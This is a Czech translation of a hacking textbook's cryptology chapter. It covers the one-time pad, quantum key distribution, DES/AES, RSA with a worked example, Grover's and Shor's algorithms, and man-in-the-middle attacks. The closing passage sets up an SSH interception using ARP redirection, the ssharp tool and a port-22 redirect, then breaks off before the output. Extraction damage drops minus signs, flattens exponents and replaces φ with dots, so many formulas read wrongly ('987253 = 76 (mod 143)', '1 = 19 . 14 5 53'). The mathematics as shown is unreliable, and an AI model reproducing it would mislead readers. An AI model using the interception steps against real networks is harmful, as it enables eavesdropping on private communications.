KRYPTOLOGIE
Náplní kryptologie je studium kryptografie a kryptoanalýzy.
Kryptografie je proces bezpečné komunikace za použití šifer
a kryptoanalýza je proces prolamování nebo dešifrování
uvedených zabezpečených komunikací. Historicky byla
kryptologie středem zájmu během válek: ke komunikaci se
spřátelenými skupinami se používaly tajné kódy a k infiltraci
komunikace se lidé pokoušeli nepřítelovy kódy prolomit.
Aplikace z dob válek sice stále existují, ale použití kryptografie v civilním
životě se stává stále více populárním, tak jak stále více kritických
operací probíhá přes Internet. Odposlouchávání se na síti odehrává stále
častěji a paranoidní přesvědčení, že vám někdo "visí na lince" nemusí být
až tak paranoidním. Hesla, čísla kreditních karet a další osobní informace
se dají odposlechnout a zneužít díky nešifrovaným protokolům. Protokoly
pro šifrovanou komunikaci poskytují řešení tohoto bezpečnostního problému
a umožňují fungování internetové ekonomiky. Bez šifrování SSL ( Secure
Sockets Layer) by nebyly transakce s použitím čísel kreditních karet na
populárních internetových stránkách pohodlné a hlavně bezpečné.
196 0x400 Kryptologie
Všechna osobní data jsou chráněna kryptografickými algoritmy, které
se považují za bezpečné. Současné kryptosystémy, které se osvědčily jako
bezpečné, jsou příliš nemotorné pro praktické využití, takže se namísto
matematicky dokázané bezpečnosti dává přednost kryptosystémům, které
jsou prakticky bezpečné. To znamená, že je pravděpodobné, že existují
možnosti k prolomení těchto šifer, ale nikdo je ještě nezrealizoval. Samozřejmě
že existují i kryptosystémy, které celkově bezpečné nejsou. To může
být dáno implementací, velikostí klíče nebo prostou kryptoanalytickou
slabinou v samotné šifře. V roce 1997 byla podle zákonů Spojených Států
maximální dovolená velikost klíče exportovaného softwaru 40 bitů. Toto
omezení udělalo šifru nevyhovující pro reálné použití, jak dokázala RSA
Data Security a Ian Goldberg, absolvent z U.C. Berkeley. RSA vydala výzvu
na rozlousknutí zprávy zašifrované 40bitovým klíčem a Ian to za tři a půl
hodiny dokázal. Byl to jasný důkaz toho, že 40bitové klíče nejsou pro bezpečné
kryptosystémy dostatečně velké.
Kryptologie je v mnoha směrech podobná hackingu. V tom nejzákladnějším
ohledu je výzva k řešení problému velmi svůdná. Z jiného pohledu
jsou možná tajná data chráněna jakousi skládankou ještě svůdnější. Lámání
nebo obcházení kryptografických ochran tajných dat může poskytnout
jistý typ satisfakce a hlavně samotný obsah chráněných dat. Navíc je silná
kryptografie užitečná při omezování detekce. Expanzivní síťové IDS navržené
k odposlouchávání síťového provozu a detekci útoků jsou na nic, pokud
útočník používá šifrovaný kanál. Často je šifrovaný přístup k webu původně
určený pro bezpečnost zákazníků zneužit útočníky, protože je obtížné
takové útoky vystopovat.
0x410 Teorie informace
Mnoho návrhů kryptografických systémů vzešlo z hlavy Claudia Shannona.
Jeho nápady významně ovlivnily celou kryptografii, specielně návrhy
zmatení ( confusion) a rozptylu ( diffusion). Ačkoliv následující návrhy bezpodmínečné
bezpečnosti, one-time pad, distribuce kvantového klíče a výpočetní
bezpečnosti nebyly původně vymyšleny Shannonem, jeho nápady
ohledně dokonalé bezpečnosti a teorie informace měly velký vliv na definice
bezpečnosti.
0x411 Bezpodmínečná bezpečnost
Kryptografický systém se považuje za bezpodmínečně bezpečný, není-li
možné jej prolomit, ani s nekonečnými výpočetními zdroji. To znamená, že
je kryptoanalýza nemožná a pokud bychom útokem hrubou silou vyzkoušeli
všechny možné klíče, nikdy bychom nezjistili, který klíč byl ten pravý.
Hacking: umění exploitace 197
0x412 One- t ime pad
Příkladem bezpodmínečně bezpečného kryptosystému je tzv. one-time
pad. Jedná se o velmi jednoduchý kryptosystém, který používá bloky náhodných
dat ( výplně, pads). Výplň musí být alespoň tak velká jako šifrovaná
zpráva a náhodná data pro výplň musí být skutečně náhodná, myšleno
doslovně. Vytvoří se dvě identické výplně: jedna pro příjemce a druhá pro
odesilatele. K zakódování zprávy odesílatel jednoduše vyXORuje každý
bit zprávy s bity výplně. Po zakódování zprávy se výplň zničí (použije se
tedy jen jednou). Zakódovaná zpráva může být poslaná příjemci bez obav
z kryptoanalýzy, protože nemůže být prolomena bez výplně. Když příjemce
přijme zprávu, opět vyXORuje každý bit zprávy s každým bitem výplně
a získá tak původní nezakódovanou zprávu.
Zatímco je teoreticky nemožné kryptosystém one-time pad prolomit, je
současně prakticky nepoužitelný. Jeho bezpečnost stojí a padá na zabezpečení
výplně. Pokud se distribuuje od příjemce k odesílateli, předpokládá
se, že je přenosový kanál bezpečný. Aby byl ale skutečně bezpečný, musela
by výměna informací proběhnout osobně "z ruky do ruky", je ale výhodnější
tento přenos uskutečnit prostřednictvím další šifry. Celý systém je tak
silný, jako je silný jeho nejslabší článek, kterým je v našem případě šifra použitá
k zakódování výplně taková je cena za pohodlnost. Protože se výplň
skládá z náhodných dat stejné velikosti jako je původní zpráva a bezpečnost
celého systému je tak dobrá, jako metoda použitá k přenosu výplně,
je smysluplnější odeslat zprávu zakódovanou právě touto šifrou.
0x413 Distribuce kvantového klíče
Příchod kvantové kryptografie nás obdaroval několika zajímavostmi. Jednou
z nich je praktická implementace systému one-time pad, která je
uskutečnitelná díky distribuci kvantového klíče. Jedná se o spolehlivou
a bezpečnou metodu distribuce náhodného řetězce bitů, který se dá použít
jako klíč. Ta se realizuje díky neortogonálním kvantovým stavům ve
fotonech.
Bez zabíhání do přílišných podrobností je polarizace fotonu směrem
oscilace jeho elektrického pole, který v tomto případě může být horizontální,
vertikální nebo jeden ze dvou diagonál. Neortogonální znamená, že
jsou stavy odděleny jiným úhlem než 90 stupňů. Důležité je, že je nemožné
s určitostí zjistit, jak je foton polarizovaný. Přímočará základna horizontální
a vertikální polarizace není kompatibilní s úhlopříčnou základnou dvou
diagonálních polarizací, takže se tyto dvě sady polarizací nedají měřit kvůli
Heisenbergově principu neurčitosti. K měření polarizací se používají filtry
jeden pro přímočarou a druhý pro úhlopříčnou základnu. Když foton
projde správným filtrem, polarizace se nezmění, ale pokud projde nesprávným
filtrem, bude jeho polarizace náhodně změněná. To znamená, že se
198 0x400 Kryptologie
pokusem o odposlouchávání měřením polarizace fotonu naruší integrita
dat a bude zřejmé, že není komunikační kanál bezpečný.
Tyto podivné aspekty kvantové mechaniky dali dohromady Charles
Bennett a Gilles Brassard v prvním a pravděpodobně nejlepším známém
schématu pro distribuci kvantového klíče, a to BB84. Prvně se odesílatel
a příjemce dohodnou na bitové reprezentaci pro čtyři polarizace, jako třeba
že každá základna má 1 i 0. Takže 1 může být reprezentována vertikálně
polarizovaným fotonem i diagonálně polarizovaným fotonem (+ 45 stupňů)
a 0 horizontálně polarizovaným fotonem a druhým diagonálně polarizovaným
fotonem (- 45 stupňů). Za tohoto předpokladu jedničky existují tehdy,
když se naměří přímočará polarizace, a nuly, když se naměří úhlopříčná
polarizace.
Odesílatel zašle proud náhodných fotonů, z nichž každý dojde s náhodně
zvolenou základnou (přímočarou i úhlopříčnou) a tyto fotony se uloží.
Když přijímající strana přijme foton, náhodně zvolí, zda-li bude měřit přímočarou
nebo úhlopříčnou základnu a uloží výsledek. Nyní dvě strany veřejně
porovnají použité základny a uschovají si pouze data korespondující
s fotony, které byly naměřeny stejnou základnou. Tím se neprozradí bitové
hodnoty fotonů, protože ze stejné základny pochází jak jedničky, tak nuly
a máme vytvořen klíč pro one-time pad.
Protože by odposlouchávání mohlo změnit polarizaci některého z fotonů
a poškodit tak data, dá se na odposlouchávání dojít vypočítáním míry
chybovosti nějaké náhodné části klíče. Pokud nastalo více chyb, někdo nás
pravděpodobně odposlouchával a klíč se v tom případě zahodí. Pokud ne,
byl přenos klíče bezpečný.
0x414 Výpočetní bezpečnost
Kryptosystém se považuje za výpočetně bezpečný v tom případě, že nejlepší
známý algoritmus na jeho prolomení vyžaduje nereálné množství
výpočetních zdrojů a času. To znamená, že je pro odposlouchávajícího teoreticky
možné prolomit šifru, ale prakticky je to neuskutečnitelné, protože
by potřebný čas a výpočtové zdroje zdaleka překročily hodnotu zakódovaných
informací. Obvykle se čas potřebný k prolomení výpočetně bezpečného
kryptosystému měří v desítkách tisíc let, dokonce se počítá i s větším
růstem výpočetních zdrojů. Většina moderních kryptosystémů spadá do
této kategorie.
Je důležité poznamenat, že se nejlepší známé algoritmy na prolamování
kryptosystémů stále vyvíjí a zlepšují. Ideálně, jak už bylo řečeno, se kryptosystém
považuje za bezpečný tehdy, když nejlepší známý algoritmus vyžaduje
nereálný počet výpočetních zdrojů a času, ale současně neexistuje
způsob jakým dokázat, že prolamovací algoritmus je a navždy zůstane nejHacking:
umění exploitace 199
lepším. Takže místo toho se současné nejlepší algoritmy používají k měření
bezpečnosti kryptosystémů.
0x420 Běh algoritmu
Běh algoritmu je trochu odlišný od běhu programu. Protože je algoritmus
pouhá myšlenka, neexistuje rychlostní omezení zpracovávání algoritmu.
Vyjádření běhu algoritmu v časových jednotkách je tedy bezvýznamné.
Když pomineme takové faktory, jakými jsou třeba rychlost procesoru
a jeho architektura, je důležitou neznámou vstupní velikost. Třídící algoritmus
při 1000 prvcích bude zřejmě trvat delší dobu než při 10 prvcích.
Vstupní velikost se obecně označuje jako n a každý atomický krok lze vyjádřit
jako číslo. Běh jednoduchého algoritmu, jako třeba toho následujícího,
můžeme vyjádřit prostřednictvím n.
Pro(i = 1 do N)
{
Udělej něco;
Udělej něco jiného;
}
Udělej poslední věc;
Tento algoritmus se opakuje nkrát, pokaždé vykoná dvě akce a nakonec
poslední akci, takže můžeme časovou složitost vyjádřit jako 2n + 1. Složitější
algoritmus s vnořenou smyčkou (jako třeba ten následující) by měl časovou
složitost n2 + 2n + 1, protože se nová akce vykoná n2krát.
Pro(x = 1 do N)
{
Pro(y = 1 do N)
{
Udělej něco nového;
}
}
For(i = 1 to N)
{
Udělej něco;
Udělej něco jiného;
}
Udělej poslední věc;
200 0x400 Kryptologie
Tato úroveň podrobností je pro vyjádření časové složitosti příliš hrubá. Například
zatímco n roste, relativní rozdíl mezi 2n + 5 a 2n + 1745 se stále zmenšuje,
avšak relativní rozdíl mezi 2n2 + 5 a 2n + 5 roste. Tento typ zobecnění
trendů je to nejdůležitější na běhu algoritmu.
Představme si dva algoritmy, první s časovou složitostí 2n + 1745 a druhý
2n2 + 5. Algoritmus 2n2 + 5 překoná algoritmus 2n + 1745 na malých hodnotách
n. Pokud je ale n = 30, oba algoritmy proběhnou za stejnou dobu
a pokud je n větší než 30, druhý překoná ten první. Protože existuje pouze
30 hodnot n, pro které se algoritmus 2n2 + 5 vykoná rychleji a nekonečné
množství hodnot n, pro které se rychleji vykoná algoritmus 2n + 1745, je tento
algoritmus obecně efektivnější.
To obecně znamená, že míra růstu časové složitosti pro algoritmus závislý
na vstupní velikosti je důležitější než časová složitost pro fixní vstup.
Zatímco to nemusí platit pro specifické aplikace reálného světa, je tento typ
měření efektivity algoritmu vhodný pro většinu existujících počítačových
aplikací.
0x421 Asymptotické vyjádření
Asymptotické vyjádření je způsob, jakým lze vyjádřit efektivitu algoritmu.
Nazývá se asymptotické, protože se týká chování algoritmu, když se vstupní
velikost blíží asymptotickému limitu nekonečna.
Když se vrátíme k příkladům algoritmů 2n + 1745 a 2n2 + 5, zjistili jsme,
že je první algoritmus obecně efektivnější, protože více sleduje vývoj čísla
n, zatímco druhý algoritmus sleduje n2. To znamená, že je první algoritmus
shora omezený kladným násobkem čísla n pro všechna dostatečně velká
n a druhý je shora omezený kladným násobkem čísla n2 pro všechna dostatečně
velká n.
To možná zní trochu zmateně, ale v podstatě to znamená, že existuje
kladná konstanta pro vývojovou proměnnou a spodní mez n, kde bude vývojová
proměnná znásobena konstantou vždy větší než časová složitost
pro všechna n větší než spodní mez. Jinými slovy, 2n2 + 5 se řídí podle n2
a 2n + 1745 se řídí podle n. Pro to existuje příslušný matematický zápis (tzv.
big-oh notation, značení dle velkého O), který vypadá takto: O(n2) pro popis
algoritmu, který se řídí podle n2.
Jednoduchým způsobem, jakým lze převést časovou složitost algoritmu
do tohoto zápisu, je podívat se na členy vyššího řádu, protože tyto členy
se budou nejvíce zvětšovat, tak jak se bude zvětšovat n. Takže algoritmus
s časovou složitostí 3n4 + 43n3 + 763n + log n + 37 bude O(n4) a 54n7 + 23n4
+ 4325 bude O(n7 ).
Hacking: umění exploitace 201
0x430 Symetrické šifrování
Symetrické šifry jsou kryptosystémy, které pro kódování a dekódování
zpráv používají stejný klíč. Proces kódování a dekódování je obecně rychlejší
než při použití asymetrického šifrování, ale distribuce klíče může být
obtížná.
Šifry jsou jak blokové, tak proudové. Bloková šifra pracuje s bloky o fixní
velikosti, obvykle 64 nebo 128 bitů. Blok zprávy se zakóduje na stejně velký
blok dat, použitím stejného klíče. DES, Blowfish a AES (Rijndael) jsou
všechno blokové šifry. Proudová šifra generuje proud pseudonáhodných
bitů, obvykle jeden bit nebo bajt za jednotku času. Tomu se říká proudový
klíč ( keystream) a vyXORuje se zprávou. Je to užitečné při kódování souvislého
proudu dat. RC4 a LSFR jsou příklady populárních proudových šifer.
RC4 hlouběji probereme v sekci "Bezdrátové 802.11b šifrování".
DES a AES jsou obě populární blokové šifry. Při konstrukci blokových
šifer se využilo mnoha myšlenek, které je učinily odolné proti známým
kryptoanalytickým útokům. V návrhu se opakovaně použilo dvou technik.
Zmatení ( confusion) je metoda ke skrytí vztahu mezi zprávou, zašifrovanou
zprávou a klíčem. To znamená, že výstupní bity musí projít jakousi komplexní
transformací klíče a zprávy. Rozptýlení ( diffusion) zahrnuje způsoby,
které rozptýlí vliv bitů zprávy a bitů klíče ve výsledné zašifrované zprávě
jak nejvíce je to možné. Šifrovací produkty kombinují tyto návrhy opakovaným
použitím rozličných triviálních operací. To se týká obou algoritmů
DES i AES.
DES také používá Feistelovu síť. Ta se využívá v mnoha blokových šifrách
a zajišťuje, že je algoritmus invertibilní. V podstatě jde o to, že se každý
blok rozdělí na dvě poloviny, levou (L) a pravou (R). Potom se v jednom
kole smyčky nastaví nová levá polovina (Li) na hodnotu staré pravé poloviny
(Ri-1) a nová pravá polovina (Ri) se vytvoří ze staré levé poloviny (Li-1)
XORované výstupem funkce, která jako vstup přijímá starou pravou polovinu
(Ri-1) a podklíč (Ki) platný pro toto kolo smyčky. Obvykle každé kolo
smyčky používá samostatný podklíč, který se před tím vypočítá.
Hodnoty pro Li a Ri jsou tyto (symbol . značí operaci XOR):
Li = Ri-1
Ri = Li-1 . f(Ri-1,Ki)
DES je 16kolový. Toto číslo bylo pečlivě vybráno tak, aby zabránilo různým
kryptoanalytickým útokům. Jedinou známou slabinou DESu je velikost
jeho klíče. Protože je pouhých 56 bitů velký, může být na speciálním
hardware prolomen hrubou silou během několika málo týdnů.
Triple-DES tento problém řeší spojením dvou klíčů DES o celkové velikosti
112 bitů. Samotné kódování se řeší zašifrováním zprávy prvním klíčem,
dešifrováním druhým a opětným zašifrováním prvním klíčem. Dešifrování
202 0x400 Kryptologie
probíhá obdobně, operace šifrování a dešifrování jsou ale prohozeny. Větší
velikost klíče dělá proces dešifrování hrubou silou exponenciálně obtížnější.
Většina blokových šifer průmyslových standardů je rezistentní proti
všem známým formám kryptoanalýzy a velikost klíče je většinou příliš velká
k tomu, aby se šifra dala prolomit hrubou silou. Kvantová kryptografie
nám nicméně přináší pár možností, které se zdají být revoluční.
0x431 Lov Groverův kvantový vyhledávácí
algoritmus
Kvantové výpočty nám přinášejí možnosti impozantního paralelního zpracování
dat. Kvantový počítač dovede uchovat mnoho různých stavů v superpozici
(kterou si můžeme představit jako pole stavů) a potom na nich
hromadně provést výpočty. To je ideální pro útoky hrubou silou, včetně
útoků na blokové šifry. Superpozice se nahraje všemi možnými klíči a operace
kódování se provede na všech klíčích zároveň. Zajímavou částí je získání
pravé hodnoty ze superpozice. Kvantové stroje jsou zvláštní v tom, že
jakmile se nahlédne do superpozice, celá hodnota dekoheruje do jediného
stavu. Bohužel je tato dekoherence náhodná a každá část stavu v superpozici
má stejnou šanci dekoherovat do tohoto stavu.
Bez možnosti manipulovat s těmito stavy superpozice se stejného efektu
dosáhne prostým hádáním klíčů. Náhodou jeden člověk jménem Lov Grover
přišel s algoritmem, kterým lze manipulovat s částmi stavů superpozice.
Tento algoritmus umožňuje částem jistého stavu zvětšit se, zatímco se
ostatní stavy části zmenší. Tento proces se opakuje několikrát, dokud části
superpozice nedekoherující do žádaného stavu. To zabere zhruba O(.n)
kroků.
S použitím základní matematiky zjistíme, že to zkrátí potřebnou dobu
k útoku hrubou silou o polovinu. Takže znásobení velikosti klíče pro blokovou
šifru zabrání jejímu prolomení i s teoretickým použitím kvantového
počítače pro realizaci útoku hrubou silou.
0x440 Asymetrické šifrování
Asymetrické šifry používají dva klíče, tedy pár klíčů: veřejný a privátní.
Veřejný klíč ( public key) je, jak už název vypovídá, veřejně známý, zatímco
privátní klíč ( private key) je udržen v tajnosti.
Libovolnou zprávu zakódovanou veřejným klíčem je možné dekódovat
pouze privátním klíčem. To odstraňuje problémy s distribucí klíče veřejné
klíče jsou veřejné a použitím tohoto klíče je možné zprávu zakódovat
pro korespondující privátní klíč. Není nutné nějak pokoutně přenášet tajný
Hacking: umění exploitace 203
klíč jako u symetrických šifer. Asymetrické šifry jsou ovšem pomalejší než
symetrické.
0x441 RSA
RSA je jedním z nejpopulárnějších asymetrických algoritmů. Bezpečnost
RSA je založena na obtížnosti faktorizace velkých čísel. Prvně se vyberou
dvě prvočísla P a Q, vynásobí se spolu a vznikne číslo N.
N = P . Q
Potom se musí určit počet čísel mezi 1 a N 1, která jsou relativními prvočísly
čísla N (dvě čísla jsou relativně prvočíselná, jestliže je jejich největší
společný dělitel 1). To je známé jako Eulerova funkce a obvykle se značí
malým řeckým písmenem . (fí).
Například .(9) = 6, protože 1, 2, 4, 5, 7 a 8 jsou relativní prvočísla k číslu
9. Mělo by být jednoduché zjistit, že pokud je N prvočíslo, .(N) bude N 1.
Už ale méně zřejmým faktem je, že jestliže je N produktem dvou prvočísel
P a Q, bude .(P . Q) = (P 1) . (Q 1). To je užitečné, protože pro RSA musíme
vypočítat .(N).
Potom se musí náhodně vybrat kódovací klíč E, který je relativním prvočíslem
k .(N) a dekódovací klíč, který musí splňovat následující vztah (S je
libovolné celé číslo):
E . D = S . .(N) + 1
To se dá vyřešit s pomocí rozšířeného euklidovského algoritmu. Euklidovský
algoritmus je velmi starý a velmi rychlý způsob, kterým lze vypočítat
největší společný dělitel (NSD, Greatest Comon Divisor, GCD) dvou čísel.
Větší ze dvou čísel se vydělí tím menším, potom menší číslo se vydělí zbytkem
po předchozím dělení a celý proces se opakuje, dokud není zbytek
po dělení nula. Poslední nenulová hodnota zbytku po dělení je největším
společným dělitelem původních dvou čísel. Tento algoritmus je relativně
rychlý, matematicky O(log10N). To znamená, že vyžaduje zhruba tolik kroků,
kolik je číslic ve větším čísle.
V následující tabulce se spočítá NSD čísel 7253 a 120, tedy nds(7253,
120). Tabulka začíná vkládáním dvou čísel do sloupců A a B, větší číslo je
v A. Potom se A vydělí B a zbytek se vloží do sloupce R. Na dalším řádku
se staré B stane novým A a staré R se stane novým B. R se znovu přepočítá
a tento proces se opakuje, dokud není zbytek nula. Poslední hodnota R je
největší společný dělitel.
204 0x400 Kryptologie
nsd(7253, 120)
A B R
7253 120 53
120 53 14
53 14 11
14 11 3
11 3 2
3 2 1
2 1 0
Takže NSD čísel 7253 a 120 je 1. To znamená, že čísla 7253 a 120 jsou relativně
prvočíselná.
Rozšířený euklidovský algoritmus hledá dvě celá čísla J a K taková, aby
J . A + K . B = R
když nsd(A, B) = R.
To se provede zpětným převedením Euklidova algoritmu. V tomto případě
je důležitý kvocient. Zde máme rozpočítaný předchozí příklad společně
s kvocienty:
7253 = 60 . 120 + 53
120 = 2 . 53 + 14
53 = 3 . 14 + 11
14 = 1 . 11 + 3
11 = 3 . 3 + 2
3 = 1 . 2 + 1
Nyní posuneme všechny členy tak, aby byl zbytek po dělení před rovnítkem.
53 = 7253 60 . 120
14 = 120 2 . 53
11 = 53 3 . 14
3 = 14 1 . 11
2 = 11 3 . 3
1 = 3 1 . 2
Začneme spodním řádkem. Z toho je jasné, že
1 = 3 1 . 2
O řádek výše je 2 = 11 3 . 3, což nám dává možnost substituovat 2.
1 = 3 1 . (11 3 . 3)
1 = 4 . 3 1 . 11
Řádek před tím je 3 = 14 1 . 11, takže také můžeme substituovat 3.
1 = 4 . (14 1 . 11) 1 . 11
1 = 4 . 14 5 . 11
Hacking: umění exploitace 205
Další předchozí řádek 11 = 53 3 . 14 si říká o další substituci.
1 = 4 . 14 5 . (53 3 . 14)
1 = 19 . 14 5 53
A pokračujeme dalším řádkem 14 = 120 2 . 53.
1 = 19 . (120 2 . 53) 5 . 53
1 = 19 . 120 43 . 53
A konečně na horním řádku 53 = 7253 60 . 120 provedeme poslední
substituci,
1 = 19 . 120 43 . (7253 60 . 120)
1 = 2599 . 120 43 . 7253
2599 . 120 + (-43) . 7253 = 1
To znamená, že J by mělo být 2599 a K by mělo být 43.
Čísla v prvním příkladě byla zvolena kvůli jejich důležitosti pro RSA.
Předpokládejme, že hodnoty pro P a Q jsou 11 a 13, a N by mělo být 143,
potom .(N) = 120 = (11-1) . (13-1). Protože je číslo 7253 relativně prvočíselné
k číslu 120, jedná se o vynikající číslo pro hodnotu E.
Pokud si vzpomínáte, cílem bylo najít hodnotu pro D, které splňuje tuto
rovnici:
E . D = S . .(N) + 1
Nyní se pokusíme tento vztah zjednodušit:
D . E + S . .(N) = 1
D . 7,253 S . 120 = 1
Když použijeme hodnoty pro rozšířený Euklidův algoritmus, je patrné, že
D = 43.
Na hodnotě S nezáleží, neboť se vypočítá jako modulo .(N) nebo
modulo 120. To znamená, že kladným ekvivalentem hodnoty D je 77, protože
120 43 = 77. Nyní dosadíme tyto hodnoty do původního vztahu.
E . D = S . .(N) + 1
7253 . 77 = 4654 . 120 + 1
Hodnoty N a E jsou distribuovány jako veřejný klíč, zatímco D je uchováno
v tajnosti jako privátní klíč, P a Q se zničí. Funkce kódování a dekódování
jsou celkem jednoduché.
Kódování:
C = ME (mod N)
Dekódování:
M = CD (mod N)
Jestliže je například zpráva M 98, kódování bude probíhat následovně:
987253 = 76 (mod 143)
Zakódovaná zpráva tedy bude 76. Potom pouze ten, kdo zná hodnotu D
může dekódovat zprávu a získat číslo 98 z čísla 76:
7677 = 98 (mod 143)
206 0x400 Kryptologie
Pokud je zpráva M větší než N, musí se rozdělit na menší články, které jsou
menší než N.
Tento postup je umožněn díky Eulerovu teorému, který v podstatě říká,
že jestliže jsou M a N relativně prvočíselné a M je menší číslo, potom když
M vynásobíme sama sebou .(N)-krát a vydělíme N, bude zbytek po dělení
1. Jestliže nsd(M, N) = 1 a M < N potom M.(N) = 1 (mod N). A platí i následující:
M.(N) . M.(N) = 1 . 1 (mod N)
M2×.(N) = 1 (mod N)
Tento postup se opakuje S-krát, dokud nevznikne toto:
MS..(N) = 1 (mod N)
Pokud jsou obě strany vynásobeny M, bude výsledkem
MS..(N) . M = 1 . M (mod N)
MS..(N) + 1 = M (mod N)
Tato rovnice je jádrem algoritmu RSA. Číslo M zvětšené modulem N nám
zpětně vyprodukuje původní číslo M. V podstatě se jedná o funkci, která
vrací vlastní vstup, který sám o sobě není zajímavý. Ale pokud by se tato
rovnice rozložila na dvě oddělené části, pak by jedna část mohla být použitá
k šifrování a druhá k dešifrování. To se dá vyřešit nalezením dvou čísel
E a D, které když se spolu vynásobí, vycházejí S . .(N) + 1. Potom je možné
tuto hodnotu substituovat do předchozí rovnice.
E . D = S . .(N) + 1
ME.D = M (mod N)
Což se dá rozložit na:
ME = C (mod N)
CD = M (mod N)
A o tom je RSA. Bezpečnost algoritmu je závislá na ponechání čísla D v tajnosti.
Ale protože jsou čísla N a E veřejné hodnoty, pokud se dá N faktorizovat
na původní P a Q a D může být zjištěno přes rozšířený Euklidův
algoritmus, potom pro zajištění výpočetní bezpečnosti musí být velikosti
klíčů RSA zvolena v závislosti na nejlepším známém faktorizačním algoritmu.
Tím je v dnešní době algoritmus NFS (Number Field Sieve), který je
hodně dobrý, ale stále ne tak dobrý, aby v rozumném čase prolomil RSA
klíč o velikosti 2048 bitů.
0x442 Kvantový faktorizační algoritmus Petera
Shora
Takže ještě jednou, kvantové počítače nám nabízejí ohromné zvýšení výpočetního
potenciálu. Peter Shor si byl vědom výhod drastického paralelismu
kvantových počítačů a přišel s novým způsobem, jak efektivně faktorizovat
čísla pomocí starého triku z teorie čísel.
Hacking: umění exploitace 207
Algoritmus je docela jednoduchý. Předpokládejme číslo N, které chceme
faktorizovat. Vybereme A, které je menší než N a které je relativně prvočíselné
k N. Ale pokud předpokládáme, že N je produktem dvou prvočísel
(což bude platné vždy, když budeme faktorizovat čísla k prolomení RSA)
a A není relativně prvočíselné k N, potom je A jedním z faktorů čísla N.
Potom se do superpozice nahraje sekvence čísel začínající od 1 a každá
z těchto hodnot projde funkcí f(x) = Ax (mod N). To se v kvantovém počítači
odehraje paralelně v jednom čase. Opakující se vzor se sám objeví
ve výsledcích a my musíme najít periodu opakování. To se dá naštěstí na
kvantovém počítači rychle provést Fourierovou transformací. Tuto periodu
budeme označovat jako R.
Pak jednoduše vypočítáme nsd(AR/2 + 1, N) a nsd(AR/2 1, N). Alespoň
jedna z hodnot by měla být faktorem čísla N. To je možné proto, že AR = 1
(mod N), to si dále rozepíšeme.
AR = 1 (mod N)
(AR/2)2 = 1 (mod N)
(AR/2)2 1 = 0 (mod N)
(AR/2 1) . (AR/2 + 1) = 0 (mod N)
To znamená, že (AR/2 1) . (AR/2 + 1) je celočíselný násobek čísla N. Dokud
se tyto hodnoty navzájem nevynulují, jedna z nich bude mít společný faktor
s N.
K prolomení předchozího příkladu k RSA je zapotřebí faktorizovat číslo
N. V tomto případě je N rovno 143. Potom se zvolí hodnota pro A tak,
aby byla menší a relativně prvočíselná k N, takže A bude 21. Funkce potom
bude vypadat jako f(x) = 21x (mod 143). Každá sekvenční hodnota od 1 do
maxima, které kvantový počítač zvládne, projde touto funkcí.
Abychom nezabíhali do zbytečných podrobností, budeme předpokládat,
že má kvantový počítač tři kvantové bity, takže superpozice bude moci
uchovávat 8 hodnot.
x=1 211 (mod 143) = 21
x=2 212 (mod 143) = 12
x=3 213 (mod 143) = 109
x=4 214 (mod 143) = 1
x=5 215 (mod 143) = 21
x=6 216 (mod 143) = 12
x=7 217 (mod 143) = 109
x=8 218 (mod 143) = 1
Zde můžeme periodu snadno vysledovat pouhým okem: R je 4.
S těmito informacemi by měla být alespoň jedna z hodnot nsd(212 1, 143)
a nsd(212 + 1, 143) faktorem. Oba faktory se ukáží až teď, protože nsd(440,
143) = 11 a nsd(442, 143) = 13. Tyto faktory se potom dají použít k přepočítání
privátního klíče pro předchozí příklad RSA.
208 0x400 Kryptologie
0x450 Hybridní šifry
Hybridní kryptosystém má v sobě to nejlepší z obou typů šifer. Asymetrická
šifra se používá k výměně náhodně vygenerovaného klíče, který se používá
k zašifrování zbývající komunikace symetrickou šifrou. To poskytuje
rychlost a efektivitu symetrické šifry a řeší dilema s výměnou tajného klíče.
Hybridní šifry se používají ve většině moderních kryptografických aplikací,
jako je třeba SSL, SSH a PGP.
Protože většina aplikací používá šifry, které jsou rezistentní vůči kryptoanalýze,
útok na tyto šifry obvykle nebývá úspěšný. Pokud ale útočník
může odposlouchávat komunikaci mezi oběmi stranami a vydávat se za
obě strany, může být algoritmus na výměnu klíčů prolomen.
0x451 Útoky typu muž-uprostřed
Útok typu muž-uprostřed ( man-in-the-middle, MiM) je chytrým způsobem,
jakým lze obejít šifrování. Útočník sedí mezi dvěmi komunikujícími stranami,
obě strany si sice myslí, že komunikují spolu, ale veškerá komunikace
jde přes počítač útočníka.
Když se vytvoří šifrované spojení mezi dvěmi stranami, vytvoří se tajný
klíč a odešle se prostřednictvím asymetrické šifry. Protože je klíč bezpečně
přenesen a následný síťový provoz je tímto klíčem zabezpečený, je celý
provoz pro případného útočníka odposlouchávajícího na síti nečitelný.
Nicméně při použití útoku MiM si strana A myslí, že komunikuje se stranou
B, a strana B věří, že komunikuje s A, ale ve skutečnosti obě strany
komunikují s útočníkem. Takže když A vyjedná šifrované spojení s B, tak
vlastně vyjedná spojení s útočníkem, což znamená, že útočník bezpečně
komunikuje pomocí asymetrické šifry a zná tajný klíč. Potom už útočník potřebuje
pouze vytvořit šifrované spojení se stranou B, která si bude myslet,
že komunikuje s A, jak ukazuje následující ilustrace.
Systém A
Systém B
Systém
útočníka
Šifrovaná komunikace
s klíčem 1
Systému A se jeví
jako Systém B
Systému B
se jeví jako
Systém A
Šifrovaná komunikace
s klíčem 2
Systém A i Systém B
věří, že komunikují
navzájem mezi sebou.
Hacking: umění exploitace 209
To znamená, že útočník ve skutečnosti spravuje dva oddělené šifrované komunikační
kanály s dvěma oddělenými klíči. Pakety od A se zašifrují prvním
klíčem, odešlou se útočníkovi, ten je dešifruje prvním klíčem, znovu
je zakóduje druhým klíčem a odešle k B. Sezením uprostřed komunikace
a spravováním dvou oddělených klíčů je útočník schopen odposlouchávat
a dokonce modifikovat komunikaci mezi A a B bez toho, aniž by se to obě
strany dozvěděly.
Toho se dá také docílit použitím skriptu Perlu pro přesměrování ARPu
z kapitoly 0x300 a modifikovaným balíčkem OpenSSH nazvaným ssharp.
Podle jeho licence se nesmí distribuovat, nicméně jej sami můžete nalézt
na adrese http://stealth.7350.org. Démon ssharpu, ssharpd, pouze přijímá
spojení a přesměrovává je na cílovou IP adresu (funguje tedy jako
proxy server). K přesměrování provozu ssh se použijí pravidla filtrování
IP tak, aby se spojení z portu 22 přesměrovávalo na port 1337, na kterém
běží ssharpd. Potom skript pro přesměrování ARPu přesměruje provoz
mezi 192.168.0.118 a 192.168.0.189 tak, že vše bude procházet přes
192.168.0.193. Následující výstup nám tento postup objasní:
Výpis: overdose @ 192.168.0.193
